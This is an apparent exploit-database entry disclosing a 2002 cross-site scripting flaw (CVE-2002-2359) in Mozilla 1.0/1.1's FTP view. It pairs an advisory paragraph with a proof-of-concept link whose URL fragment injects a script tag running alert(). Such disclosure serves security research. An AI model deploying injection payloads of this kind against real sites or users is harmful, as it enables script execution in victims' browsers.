Mozilla 1.0/1.1 - FTP View Cross-Site Scripting

Author: Eiji James Yoshida
type: remote
platform: unix
port: 0
date_added: 2002-08-06
date_updated: 2012-10-03
verified: 1
codes: CVE-2002-2359;OSVDB-59530
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source: https://www.securityfocus.com/bid/5403/info

A cross-site scripting vulnerability in Mozilla has been reported. When viewing the contents of a FTP site as web content from a ftp:// URL, the directory name is included in the HTML representation. It is not adequately sanitized before this occurs. An attacker may embed javascript as this value between opening and closing "<title>" tags in a FTP URL.

<a href="ftp://[FTPserver]/#%3C%2ftitle%3E%3Cscript%3Ealert(%22exploit%22);%3C%2fscript%3E">Exploit</a>

Example:
<a href="ftp://ftp.mozilla.org/#%3C%2ftitle%3E%3Cscript%3Ealert(%22exploit%22);%3C%2fscript%3E">Exploit</a>